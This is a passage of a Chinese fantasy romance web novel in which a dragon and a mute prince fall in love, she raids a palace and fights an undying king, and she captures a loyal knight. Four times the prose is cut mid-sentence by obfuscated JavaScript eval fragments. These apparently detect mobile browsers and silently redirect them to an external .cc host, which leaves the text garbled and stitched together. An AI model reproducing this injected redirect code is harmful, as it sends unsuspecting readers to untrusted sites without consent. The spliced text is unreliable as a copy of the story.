弄臣恨恨怨道:“我就知道伊瑟恩殿下喂不饱龙,废物!没用的哑巴!害死我了……” 金色的瞳孔缩成一条竖线,牙缝里喷出缕缕黑烟。危险的硫磺味在空气中陡然变浓。龙显然生气了。 侏儒弄臣因恐惧而再次挣扎,强烈的求生欲驱使他扯开腰带,金蝉脱壳般褪去外衫,从龙爪中逃脱。可他却误判了高度和落点,没能踩到平台。 “啊啊!啊——” 他刮擦着塔的外墙,一层一层地坠落,最后直挺挺地拍在地面。 露维亚愣了一下。 顷刻间,漫天箭雨朝龙飞来,铁簇撞在她坚硬的身躯上,发出叮叮当当的声响。她扭身喷了一口火,把箭羽烧作飞灰,熔融的铁水噼啪作响,像烟花一样炸开。 这根本就伤不到龙。 直到此刻,她才真正意识到自己是个异类。 神王流放了她,同族也不喜欢露维亚,人类更不可能冒险亲近一头龙。 三百年来,即便不会说话也在努力和她交流的,爱上她本来面目的,就只有伊瑟恩而已。 他也许弱小,但他也很勇敢,同时爱憎分明。 伊瑟恩,我该把这些人都杀了吗?他们谁欺负过你?谁帮助过你? 早知道就带他一起来了。 她开始在王宫里漫无目的地行走,尾巴拖在身后,不知道怎么做才能让伊瑟恩高兴,同时把自己窝在心口的闷气撒出去。 于是她摧毁建筑,践踏花圃,把喷泉从地面上拔下,像猫咪窜上了桌子,顺着前进的路径打翻一排高脚杯。 行至主殿前的广场,她停了下来,这里有一队搬运家具的工人,他们刚刚做好一张华美的四柱床,正要送往阿利斯塔的卧室。 这些工人被龙吓坏了,害怕地缩在一边,他们身上没有铠甲,手中没有武器。见露维亚靠近,只能惊恐地看着她,不断往后退。 露维亚没有伤害他们,事实上,龙不吃人,杂食动物的肉都不怎么好吃,人类干嘛要觉得自己很香,很美味……她只是看上了这张床。 她说过,要给伊瑟恩带礼物回去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265990|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当然,最好能把阿利斯塔的脑袋揪下来给他,顺便试试神眷者到底得到了什么能力。可太阳不断向西沉落,来不及再飞去北境一趟。现在已是深秋,白昼太短,时间有限。 红龙展翅腾空,抓着床飞起。绣满缠枝花纹的床帐在风中舞动,鎏金床柱在阳光下闪闪发光。 龙飞走,留下一地瓦砾。 侏儒弄臣颓然躺倒,口吐鲜血,尚未断气。他穿着阿利斯塔赏赐的可笑衣服,看着巨龙飞过天空,眼珠逐渐混浊。 那么拼命地活着,原来就是为了这样死么?他有点想不通。但也没机会再去想了。 回到龙窟,露维亚把床拖进传送门,运到海岛上。 “人类都喜欢住在有屋顶的地方,盖着被子睡觉。我是龙,一时想不起,你怎么也从不跟我提呢!” 她开始争分夺秒地施法,用魔力切割岩石,平整地面,聚集所需的元素,快速地搭出一座有着明亮窗户的房子。打开门,把四柱床塞了进去。 伊瑟恩吃惊不已,因感动而无法与露维亚对视。他低低垂着头,用手指轻轻扣弄露维亚的手心,认真写下“谢谢”。 伊瑟恩并不留恋以前的生活,他甚至觉得做人类也没什么好,可做人的习惯根深蒂固,他确实想要一张床。 不跟露维亚提要求,是因为他觉得自己总在提要求……即便相爱,也会不好意思。 “哼,你以为我是什么龙?我难道会既让你解除咒语,又霸占你的身心,然后什么都不给你吗?” 伊瑟恩笑笑,他知道,他全都知道,露维亚是很好很好的龙。他捋了捋露维亚的头发,忍不住凑近,埋在她颈间猛吸一口。 硫磺味、焦糊味,还有血腥气。 他错愕地抬头看向她。 “哦,阿利斯塔没在王宫,我就随便搞了点破坏。”她龇牙一笑。 看着伊瑟恩关切的表情,犹豫片刻,她又说,“今天你在这里过夜吧。岛上很温暖,没有危险的野兽。房子是新盖的,床也是新抢的。” 夕阳为海岛笼上一层温暖的橘色,不受光的一侧则没入黑黢黢的影子。 夜晚马上就要降临。 伊瑟恩不肯单独留下,执着地拉住露维亚的手,要跟她一起回到龙窟,回到镜前。 心灵过载是生病的龙、衰老的龙才会出现的症状,露维亚这样下去不行。伊瑟恩想尽快把镜子打碎,一天也不要耽搁。 而且,一开始就说好了,他要为她做两件事:白天给龙角涂油,晚上陪着她睡觉。 龙女士怎么可以突然不要他? 他要哭不哭地看着她,比划着自己的意思,“我不想离开你。” 露维亚顿觉没辙。 可是,不行。 “不许违抗我。” 她疾声厉色,伊瑟恩勉强乖顺。 “我是为了自己高兴,不是为了你,”她忽然狡黠地笑了笑,又说,“反正明天一睁眼我就会来找你。你可以提前想想,一夜好眠之后,要在这张床上做点儿什么。” 伊瑟恩的脸一点一点地变红。 很好,露维亚得意地发现,自己学会了操纵人心。 摆脱幻象的侵扰后,伊瑟恩没有立刻睡着,而是在柔软的大床上,听着海浪声翻来覆去。他在想,海上的月光真美,露维亚却从来没有见过。 白天,一定要让她高兴。 15. 第 15 章 爱毫无用处,但爱让他们兴高采烈,热盼着新一天到来。 天几乎还没亮,伊瑟恩就早早起床,他先去泉边洗澡,然后仔细检查自己。头发是干净的,指甲是平整的,身上没有任何不好的味道,似乎万事俱备,无一处不妥,心脏却砰砰乱跳。 然而,在这样紧张的期待中,他竟不知不觉重新合上了眼。可见他的身体多么怀念被窝里无梦的睡眠。 当露维亚推开门,伊瑟恩正婴儿般地睡着,金发在脸侧自然地垂散,睫毛细细密密,投下扇形阴影。 露维亚轻手轻脚地走向床边,掀开了被子的一角。伊瑟恩迷迷糊糊地让出位置。 被窝很温暖呢。 一开始,龙女士适应不了人类寝具过分的柔软,总觉得触感很怪,比衣服穿在身上的感觉还怪。但很快,她发现身在床与被之间有种被呵护的感觉。 她情不自禁地从他身后抱他。 伊瑟恩终于醒来,心里第一个念头就是转过身,好好看向露维亚的脸。可是,他的腰正被她的手臂紧紧圈着。 “早上好,伊瑟恩。”她抓住了对方贪睡的把柄,恶劣地笑笑,“在想什么坏事?” 不,根本什么都没想,至少刚才没想。现在是早晨,而他是一个很年轻的男人…… 伊瑟恩无法为自己辩解。 在他看不到的角度,露维亚一脸得逞。她故意咬住他的耳垂,把温热的呼吸喷在他敏感的皮肤上,燎出大片大片的红晕。 他变成了一只落入坏孩子手中的蝴蝶,任由她贪玩儿地扯弄自己的翅膀。混沌的天真里含有很多即兴的恶,她下手没轻没重。 然而,这番碰触并未给他带来任何疼痛,快慰的感觉先行到来,伊瑟恩不安地扭了扭身子,膝盖酸软地打抖。 他心想,没办法呼唤你的名字,至少,让我看着你的眼睛…… 他握住露维亚的手腕。 “你想让我停下吗?” 除了急促的喘息,气流擦着牙缝漏出来的声响,伊瑟恩一个音也发不出来。露维亚心软了一下,松了手,倒叫蝴蝶趁机闯进她的地盘。 “喂!喂……我还没说开始!” 她拍打他的肩头,想把他推一边去,看到他湿漉漉的眼神时,却蓦然怔住。 一股被人全心爱慕的幸福感油然而生,温暖流淌到全身各处,宛如又在雷暴中洗了一次澡,电流沿着脊柱往脑子里窜。 他就这样直勾勾地望着自己,专注到极点,反而让她怀疑伊瑟恩什么也看不见,瞳孔早已涣散失焦,湛蓝眼珠呈现玻璃似的透明质感。 “伊瑟恩,我也爱你。” 这话就像触发了什么机关,一向温柔的人类给了她极用力的吻。 伊瑟恩一边忘情,一边用手指在她胸口的皮肤上写字,结果只是弄得她痒到发疯,除了快乐她什么也感觉不到,一个字也辨认不出来。 她心里高兴,又气坏了,嚷道:“不会说话还这么唠叨,你好烦人!” 他好像一点都不介意挨骂,手停了,柔软的嘴唇凑上去,亲了又亲,活像蜗牛在啃白菜叶,腻滑细致,慢吞吞地咬啮,留下凉丝丝的痕迹。 这未免太快乐了。 露维亚不禁去想,我们这么快乐,是对的吗?我们擅自相爱,是对的吗?我们不守规则,是对的么? 蝴蝶急促地振翅,飞跃心底的黑暗,抵达白亮而开阔的所在,获得轻盈的解脱。翅膀抖动的节奏如一串清晰的回答:对的,对的,对的…… 在伊瑟恩心里,只要露维亚高兴,什么都是对的。 当阳光透过窗子,越过床帷,直照在露维亚的白发上时,她已经适应了人类的床。 “头发太长了,总被压到,睡觉的时候还是龙身更方便,”她分析并得出结论,“但是,和你在一起的时候,我愿意躺在被窝里。” 伊瑟恩笑了笑,用鼻尖蹭她的脸颊,指向她的头发,提醒她该去涂油。 精心养护龙角,准备一场不知道什么时候到来,也不知道胜算几何的决战,在遇见伊瑟恩之前,这是露维亚全部的生活。 随着镜中流动的幻象不断被杀死,露维亚看到了希望,开始制定具体的计划。 她认为神王一定掩盖着什么弱点,人类离奇的故事与传说中保存着真相的碎片。而神眷者阿利斯塔和神明做过交易,又偷窃了她父亲图尔的遗骸。 露维亚的金眼珠不断闪烁,她把记忆翻了一遍又一遍,抽取有用的线索。记忆不等同于智力,可若知道足够多,又愿意深入思考,也就无限接近正解。 “阿利斯塔很快就会主动来找我,对吗?” 她枕着一只前爪,用龙语自问自答,“没错,国王们都是这样的。他会带着军队来到灰烬森林,证明自己的尊严不容冒犯。不过,可能只是虚张声势,军队走进来,顶多到祭坛那里,就会找借口原路返回。所以,我得把他和军队分开,让他顺利地见到我。” 龙的发声器官复杂得像架管风琴,声音从口腔中震荡而出,伊瑟恩什么也没听懂,他只对“第十一个”这个词敏感些。 此刻,他专注于涂油的工作,保养完主体之后,把刷子放下,改用手指蘸取一点霜脂巨鲸的脂肪,涂抹并按揉角与头颅连接的根部。 “然后,”她一边享受,一边继续思考,“在杀掉他之前,得让他开口说真话。所以我要制造足够的疼痛与恐惧,还不能让他咽气太快。” 伊瑟恩又跑到了她的身侧,爬到龙的后背上,把错位的骨刺一根根拨顺,令它们方向一致。 “咔嚓——咔——” 这个举动没有什么实际的意义,化人后,龙的骨刺仅仅是最普通的皮肤。但就像人喜欢给小猫梳毛,伊瑟恩也在对龙做同样的事情,乐此不疲。 露维亚喋喋不休,伊瑟恩忙忙碌碌,龙与人和谐相处。 “唔,还有什么要注意的吗?区区凡人不可能是我的对手,不过也许神明给了他一些保命的能力,”露维亚决定以防万一,留个心眼,“我唯一的弱点就是夜晚,所以,要把龙窟的位置藏好。” 她拿尾巴卷起伊瑟恩,把他从自己后背上摘下来,轻轻放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265991|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到地面。 “我出去一会儿。” 伊瑟恩点点头,亲吻她翅膀弯折处的翼骨,祝她一路顺风。 阿利斯塔从北境闻讯归来已经是大半个月之后的事了,大臣们惶恐地垂着头,无人敢看陛下的脸。 面对侏儒弄臣装在水晶棺中的尸体,阿利斯塔默然良久。 “怎么?你们要把他做成标本收藏?他可是我亲爱的朋友啊!举行正式的葬礼,好好安葬他。” “遵命!” 大臣们心想,您平时那样对他,谁能看出你们是朋友呢?一位国王和一个小丑,能是朋友吗? 在场只有几个年纪大的官员知道,陛下和弄臣确实认识很久了。 这矮小的男人最初服务于波丰帝国的宫廷,帝国分崩离析后,辗转来到希尔弗,给当时的王后表演故乡的歌舞。 一开始,阿利斯塔很讨厌这个污渍一样的家伙,他觉得美丽高贵的母亲身旁不该有这么个丑东西。 可是,侏儒弄臣不遗余力地讨好他,变着花样满足他。 如同毒药和解药放错了罐子,阿利斯塔喜怒无常,情感和行为不可预料,他是个很难被取悦的人。侏儒弄臣却把他伺候得不错。 他们有着同频的幽默感。侏儒喂养着阿利斯塔内心深处最不体面的那一部分,让这个位高权重的男人得到了放松。 很快,国王集结军队,身披铠甲,骑着高头大马,前往灰烬森林。 马蹄每走一步都激起暴腾的烟,烟尘不仅沾染到骏马漂亮的毛发上,更令骑士们苦不堪言。灰烬呛进鼻子,哪怕紧紧闭着嘴,口中也有股无法忽略的土味。 更糟糕的是,林间的雾气始终没有被风吹散,反而越来越浓。阿利斯塔很快发现,他的军队淹没在雾中。 他不害怕任何战斗。可他总得先搞清楚状况。敌人是谁,敌人在哪儿? 浓雾突然沸腾起来,未知的巨物在雾中涌动。 阿利斯塔握紧缰绳,战马还是往后退了两步,甲胄发出细碎的摩擦声。骑士们纷纷拔剑,却连彼此的脸都看不清,只能听见此起彼伏的呼吸,他们不安地吞咽口水。 "陛下!龙在前方!"斥候的喊声还未落地,整片森林便骤然震颤。 红龙从雾中降临,身姿像极了火山喷出的熔岩,鳞甲闪闪发光,双翼展开时带起的热浪将焦木再次点燃。 阿利斯塔的耳朵在盔甲中嗡鸣了一会儿,紧接着,他发现世界变得安静。 他无比确信,此刻与龙对峙的,只有他一人。 他突然神经质地笑了一下,他在想象自己勇敢的朋友,那个侏儒是怎么拿着权杖挺身而出的。 “傻瓜。”他勾了勾嘴角,轻轻嗤道,“得到神眷的只有我本人啊。你又不是不知道,她们是我的妹妹,不是你的。” 露维亚一爪把国王从马上拍下来。 她突然很纳闷,什么刀枪不入的身体?这不是能切开么! 她扯掉了阿利斯塔的一条胳膊,困惑地看着这截断肢,不得不重新思考神明给他的能力是什么。 16. 第 16 章 不是刀枪不入,也不是快速自愈,阿利斯塔的身体变成了血、肉、骨的捏合物。那节断肢失去了活性,却有新的物质向他涌来。像磁铁吸附沙子中的铁屑。 露维亚惊讶了一瞬。 这是魔法。 和她给伊瑟恩做的取物法阵原理类似,即把所需的元素按需聚合,组成新的东西。效果像极了无中生有,实际上是以最小单位的物质完成构建。 然而,他们平时用法阵制作的食物也好,工具也罢,包括伊瑟恩给她设计的衣裙,都只是些没有生命的物品,绝无可能从法阵里变出任何活物。 生命只能来自于生命。即便是神,想要诞下新的神,也需要孕育的过程。这样看来,阿利斯塔得到的神眷就很邪门了。 手臂复原如初,他扭了扭关节,骨头发出“咔哒”一声。 “我弟弟还好吗?”他虚情假意地笑了笑,“他太年轻了,我很担心他。” 露维亚歪着头想了想,然后,用一口足以把铠甲熔化的龙焰作为回复。 她亲眼看到阿利斯塔被烧焦。 龙踏着雾与尘埃,一点一点地走近地面上人形的黑色痕迹,扒拉了几下,没有任何生命残留的气息。 露维亚觉得事情没有这么简单。便从那群骑士里随便抓了一个人,她心里的问题太多了,需要有人来回答。 身穿银铠的高大骑士埃里克森在浓雾中看不清自己的所在,更看不清接下来的命运。 龙毫无征兆地抓走了他,在能见度不足半米的浓雾中飞行,把他带到了不知道什么地方。 当埃里克森被露维亚扔到龙窟冰冷的地面上时,铠甲发出了叮愣咣啷的一串巨响,把正在看书的伊瑟恩吓了一跳。 露维亚并没有给予这个陌生骑士过多的关注,她如往常一样,走近伊瑟恩,垂下额头,用鼻尖亲昵地嗅他。 紧接着,她开始舔舐自己的爱人,仿佛在用舌头抚慰他心灵的褶皱。长尾巴缠着伊瑟恩的大腿打转,尾尖轻轻挠着他的膝盖窝。 埃里克森惊愕地看着这诡异的一幕,他感到头皮发麻。 太可怜了,殿下。 那蓝宝石一样的眼睛里,分明闪烁着泪光!那高贵的金发正在被滑腻的舌头亵玩!他看到伊瑟恩身体紧绷如弓,全身都在微微颤抖! 埃里克森下意识摸了摸腰间的佩剑。 过了一会,露维亚化为人形。她张开双臂,拥王子入怀。 “伊瑟恩,”她拖长音呼唤他的名字,坏笑着说,“怎么办,今天也想吃掉你。” 埃里克森连忙大叫:“那我呢!你不打算对我做点什么吗!?” 伊瑟恩心情复杂。 露维亚摄人心魄地美丽着,自己对她一见钟情,难保别人就不会。 一方面他知道没必要嫉妒,又不是每个被露维亚抓来的男人都会被她喜欢。 龙偏爱一对一的关系,生命太漫长,记忆很清晰,多偶会增加头脑的负担,除非不谈感情。然而没感情的结合对龙来说也毫无必要,再怎么快乐的事情,乘以千年的时间,都会变得不稀罕。露维亚对人类没热衷到那个份上,她曾认真地对伊瑟恩说:你是特别的。 可另一方面,他确实有些许嫉妒,只因伊瑟恩太有自知之明。 幼年的营养不良让他形容消瘦,肤色过于苍白,现在已经好多了。就像流浪猫,只要遇上好心人,得到正确的对待,很快就能漂亮回来。 可是,他无论如何也成不了一个高大威猛的战士,这和先天条件有关,也少不了成年累月的训练。 他在魁梧的骑士面前自惭形秽,意识到自己在嫉妒别人,更加羞愧难当。 露维亚转头看骑士,“嗯,我会放你回去,但是你得先让我满意。” 埃里克森心底涌起一阵寒意,脸皮却滚烫起来。他心想,这恶龙果然如传闻所说,是只淫-荡的蜥蜴。伊瑟恩王子这样英俊,还不满足吗? 骑士将荣誉视为生命。 埃里克森绝不屈服! 当然,他也并非莽夫,必要时,他知道该怎么虚与委蛇。 面罩掀开后,是一张极有男人味的脸,卷曲的黑发,灰眼睛如冬天的湖水,优雅耐看,给人稳重的感觉。 “好啊,乐意之至。”他笑了笑,深情地注视露维亚的金眸,赞美道,“如果我知道龙女士是这样一位美丽的女性,当初我一定会自告奋勇,代替伊瑟恩殿下前来与你幽会。” 露维亚:“哈?” 伊瑟恩:“……” 伊瑟恩终于明白,他的直觉是对的,自己的爱情遭到了挑战。 这位骑士如此善于表达自己,每一句话都很动听。他是贵族青年,对一切场面都司空见惯,熟稔于社交和调情。为贵妇人效劳,使出浑身解数讨她们欢心,是骑士教育中重要的一部分。 游刃有余的自信风度,加上本就出色的外表,还有放大男子气概的银白色铠甲,伊瑟恩相信他是很多少女爱慕的对象。 有着大好前途,在人群中真正受欢迎的男人……和自己这种被关在塔楼上的王子完全不同。 他不安地咬着嘴唇。 埃里克森忽然说:“龙女士,我是被你选中的人,对吗?” 露维亚火冒三丈,“你听不懂话?回答我的问题,你就能用肩膀顶着脑袋活着走出灰烬森林。再说废话,死!” 埃里克森有些受挫,伊瑟恩的心情倒是好多了,他长松了口气。两个男人仿佛坐在跷跷板的两端,一个人高兴得翘起来,另一个人就要低落到底。 “你们的陛下如何战斗?告诉我阿利斯塔征服索鲁人的始末。” 埃里克森一愣,说:“记不清了。” “哦,所以你是知道的。” 露维亚朝他施加一道火焰,火焰沾到铠甲,温度不断增加,空气中隐约有股皮肉被烧焦的味道。 埃里克森沉默着,嘴唇紧抿成一条线。 “好吧,你倒是宁死不屈。” 露维亚撤了火焰。转而用魔法把他捆了起来,决定先晾他一晾。 今天的饭菜还不错,用番茄汁调味的炖肉,煮鸡蛋,黄瓜沙拉,火腿片,主食是蒸土豆。还有一壶羊奶。 露维亚坐下来陪伊瑟恩一起吃,龙的食量远不止于此,每样都尝了味道之后,她便穿过传送门去海上捕猎。 “吃完就过来找我吧,”她笑了笑,说,“岛上阳光正好。” 伊瑟恩点头。 露维亚走后,伊瑟恩看了看一旁的骑士,发现他正以一个别扭的姿势倒伏在地。沉重的铠甲堆叠在一起,肯定很不舒服。 ……真不想管他。 可伊瑟恩忍不住走过去,将他扶起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265992|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐好,帮他拆掉了铠甲上的绑带与卡扣,让他不那么硌。他想了想,又分了一些食物,端给埃里克森。 埃里克森大为感动,朝伊瑟恩感激地笑了笑。 伊瑟恩躲避着情敌过于真诚的目光。 埃里克森俯身衔了一口火腿,又用牙齿叼着杯子边缘,以十分豪爽的姿态将羊奶啜入口中。 显然,这位骑士并不傲慢,他不拘小节,在窘境中保持着乐观与镇定。 “您知道龙的弱点吗?我该怎样取得她的好感?” 伊瑟恩瞬间后悔,自己干嘛要对这个觊觎露维亚的男人抱有善意。就该让他穿着坚硬的铠甲,继续躺在冰凉的地面上。 埃里克森对伊瑟恩的情绪毫无察觉,仍在说:“我想,龙也许会喜新厌旧。当她把注意力放在我身上时,您就可以得到喘息了。” 伊瑟恩伸出手,朝他比划了一个厌恶的手势,让他闭嘴。 “殿下,我明白,您一定过得很不得已。但是相信我,这样的生活很快就会结束。” 见伊瑟恩没有反应,他又说:“我会替您……” 口不能言的王子愤怒地挥舞手臂,飞快地在空气中比划手语,留下激动的残影。 埃里克森露出困惑的表情。 “请原谅,我没能理解您的意思……” “唰唰——” 伊瑟恩只好拿起黑板和滑石笔,快速地写字。写完之后,他用力敲了敲,让埃里克森好好看清楚: 你令我震惊!怎么会有如此厚颜无耻的骑士。我知道在骑士中,宫廷爱是很流行的。但这不意味着你可以当着一个男人的面,毫不掩饰自己的贪婪,追求他的伴侣。 “伴侣?” 伊瑟恩重重点头,还学露维亚的模样,朝他龇牙。 “可我听说您是被陛下强行送给恶龙当祭品的。难道您被龙驯服了吗?难道只为这些食物,您就放弃了做人的尊严?您……您不该爱这头龙,而是应该恨她啊!” 有着丰富战场经验的埃里克森见过类似的情形。有的士兵被敌人俘虏后,一开始会非常怨恨。但只要敌人稍微施舍恩惠,俘虏绝望的心就会为此动摇。有的人还会因敌人没有天天殴打虐待自己,就感恩戴德呢! 这完全是病态的。 埃里克森细细端详伊瑟恩,看到他年轻的面庞,无辜小鹿一样的眼睛,不由心头悲凉。 “殿下,别气馁,人生还长。和龙在一起不是您最终的结局,您以后一定能过上更好的日子,找到与您真心相爱的人类伴侣。” 伊瑟恩终于明白,他们之间似乎存在什么误会。 埃里克森好像不是情敌…… 听这意思,他想把可怜的祭品王子救回去。 这一发现令伊瑟恩有些哭笑不得,他只好擦了黑板,重新措辞: 没错,我是被阿利斯塔强行送来的。所以我该恨谁?让我成为祭品的是阿利斯塔。 埃里克森完全僵住了,好像大脑突然变得不会转。愣怔良久,才说:“是的,您有理由恨国王陛下。可这不意味着龙就值得您去爱,如果不是恶龙危害人间……” 这时,露维亚从传送阵中探出脑袋,她疑惑伊瑟恩怎么还没吃完,想来催促一下。龙巨大的牙齿上粘着新鲜的果肉,艳红的果汁挂在唇边。 “那、那是血?!” 17. 第 17 章 红色树果堆成小山,伊瑟恩拿起一个,当着埃里克森的面,轻轻咬了一口。血一样的汁液染红伊瑟恩丰美的唇瓣,骑士才相信龙刚刚没有吃人。 “但是……”他还是觉得太不可思议,“龙居然以鱼和树果为主要食物,这实在违背常识。” 伊瑟恩写:“是人类的常识错了。” 埃里克森接受了伊瑟恩殿下的解释,也勉强理解了人类王子与龙女士的爱情,但要他背叛国王,还是万万不能。 希尔弗人能容忍一个暴君,并非因为认可他的作为,或者不知道他的残酷,而是无法承担反抗的后果。 阿利斯塔坐在王位上,人们只要去适应他一个人的独断专行。若王位空了,国家还不知道要乱多少年。在没有合法继承人的情况下,势必有一番混战,谁知道下一个国王会更好还是更糟? “身为骑士,我不能背叛自己的主君。”埃里克森义正辞严,说完又有些内疚似的,对伊瑟恩道歉,“殿下,请您原谅我,我没办法回答恶……呃,龙女士的问题。” 露维亚摇着尾巴,烦躁地拍打地面,“蠢货。” 埃里克森请教伊瑟恩:“殿下,您能听懂么?龙女士在说什么?” 伊瑟恩听不懂,可他知道露维亚一准不高兴。于是进行了相当主观的翻译,他在黑板上写:“她说,希望你再好好考虑考虑,听从自己的内心,做出不后悔的决定。” 被魔法束缚,无法动弹的埃里克森坐在地上感叹:“原来龙只用两个音节就能表达这么丰富的含义。” 伊瑟恩尴尬地把黑板上的一长串字擦掉,心虚地点点头,然后快速用新的字句覆盖:“没错,龙很聪明。” “是我太无知,龙比我想象中有智慧得多。” 哼,那又如何呢? 露维亚无奈地想,她再有智慧,也撬不开骑士的嘴。能说服对方的前提是大家具有差不多的思考能力,可骑士的愚忠如一道屏障,隔绝了所有理性的声音。 威逼,没用。利诱,没用。不然她也不需要靠伊瑟恩和他沟通。 怎么一抓就抓到了一个死心眼的?还不如抓一个卑劣的胆小鬼,揍一顿就什么都交代了。 露维亚谁也不怨,只怨自己运气不好。 她把骑士扔到龙窟的角落,看在伊瑟恩的面子上,再给他一些时间,让他想清楚。 毕竟,龙最不缺的就是时间。 幻象在镜中幽幽流动,它们原本非常拥挤,如一团纠结缠绕的黑色水草。现在已经松散开来,变得清晰,露维亚数了数,不多不少,还剩三十个。 晚上,露维亚与伊瑟恩依偎在镜前,她低声问他:“伊瑟恩,和我在一起,很辛苦吧?” 伊瑟恩在她后背划拉了两下,轻轻打了个叉。又把脸埋进她的胸口,用力亲了亲,像在盖印戳章。 他幸福得头晕脑胀,只要靠近露维亚,就开心得不得了。他心想,这怎么会辛苦呢? 谁料,露维亚发出一声尖细的笑:“啊,我的皮肤是鳞片变的,留不下吻痕。你这样除了痒,根本没……唔……” 伊瑟恩慌忙堵住露维亚的嘴,他害怕埃里克森会听见。龙女士不害羞,可他脸皮薄得要命。 露维亚很幼稚地咬他的手心,惩罚亲爱的王子殿下,谁叫他敢做不敢当。 笑闹间,幻象飞出,欢乐时光戛然而止,他们准时坠入梦中。 露维亚的梦和往常一样,回到了不会飞的幼龙时期。迦娜驮着她,带她在神界金色的云海中游弋。 迦娜指引她俯瞰人间,逐一教她事物的名字:平坦的是大地,高耸的是山,流动的是河。 不远处出现了的灿烂光团,迦娜迟疑了一下。 “那是龙蜃。如果龙死在地面,残存的意识就会不断上升,飞回神界,化为云霞。”迦娜有些不安地说,“在它消散之前,我们过去看看吧。” 谁都没有想到,那是图尔的蜃。图尔才四百零几岁,比迦娜还年轻些,正处在鼎盛的青年时期。 他留下的蜃影内容简单:两条龙互相凝望着,环抱一枚红色的蛋,露维亚是他们相爱的证据。 理解了死亡的含义后,露维亚“哇”地一声哭了出来:“我不明白,为什么图尔会死?为什么啊!” 迦娜说:“我会弄清楚真相,为他报仇。” 露维亚喃喃梦呓,重复母亲的话:“真相……报仇……” 白天的快乐是夜晚的燃料,让露维亚熬过悲伤的梦。可是,再这么撕裂地生活下去,即便是龙,也会有疯掉的一天。 童话故事里的王子可以吻醒睡美人,而伊瑟恩没有那种力量,他只能与露维亚相拥而眠,两个苦孩子在噩梦中手拉着手,试着互相搭救。 伊瑟恩梦见了春天。 穿过色彩缤纷的花园,他像撒欢的小狗一样,快乐得奔跑起来,然后气喘吁吁,跌坐在毛茸茸的草坪上休息,无声地笑了笑。 他看到了湛蓝如洗的天空,洁白棉絮一样的云缓慢地变换形状,随着和暖的微风渐渐飘远。他眨了眨眼睛,发现有只叫不出名字的巨兽在云中飞行。 是龙么?他羡慕地想,龙好自由。 他情不自禁地朝天空伸了伸手。 突然,一个严厉的声音从身后响起:“殿下!您怎么在这儿?” 他委屈地比划着,想说:他只是出来走走。 可仆人一把抓住他的手腕,把他往回拖,一边拽着他往回走,一边说:“要是让您自己洗衣服,您还会这样到处乱跑吗?我真是倒霉死了,被派来伺候没前途的哑巴。” 没有人规定过他不能离开塔楼,但从这以后,他们几乎不再允许伊瑟恩出来。 毕竟,人也是动物,笼养是最省事的。 与此同时,骑士也被幻象摄住。 埃里克森冷汗涔涔,面部的肌肉微微抽搐,呼吸急促,喉咙里发出含混不清的声音,好像在呼救,又像是在强忍着不哭。 突然,他的手开始摸索,似乎想要抓住什么,好让自己的情绪稳定下来。可佩剑早被伊瑟恩取下,放到了别处,他摸了个空。 “别闭上眼睛,振作一点!哈兰德!我背你走!再坚持一下……” “埃里克森,我的朋友。别费力气了,这就是我人生的结局。” 哈兰德气若游丝,朝他摆了摆血肉模糊的手,露出解脱的笑容,“索鲁人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265993|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砍掉了我三根手指……可我现在已经感觉不到疼了,这是好事啊。” “根本不是好事!活下去更好!回到家人身边更好!睁开眼睛,睁开眼睛啊……” 埃里克森绝不放弃同伴! 可是哈兰德还是死了。 他清晰地回想起来,在这场战争中,哈兰德死了,胡金死了,矮子格鲁尔死了,罗德家俊俏的小少爷死了,刚知道名字的吉米多死了,不知道名字的红发小子死了…… 只有他还活着。 与索鲁人在北境的战斗持续了很多年,直到阿利斯塔如奇迹般登场,瞬间扭转了战局。 埃里克森想不明白,既然陛下有着不死的能力,为何要等到最后才介入?更让他不解的是,战争胜利后,阿利斯塔立刻决定与索鲁人化敌为友。 随着时间不断流逝,痛苦的感觉被他本能地封存,战友们的死状也逐渐淡去,这是人类的自我保护机制。 困惑却长久地萦绕心间。 天亮了。 骑士一改昨日态度,主动向龙女士寻找答案。 “什么!阿利斯塔可以复活?” 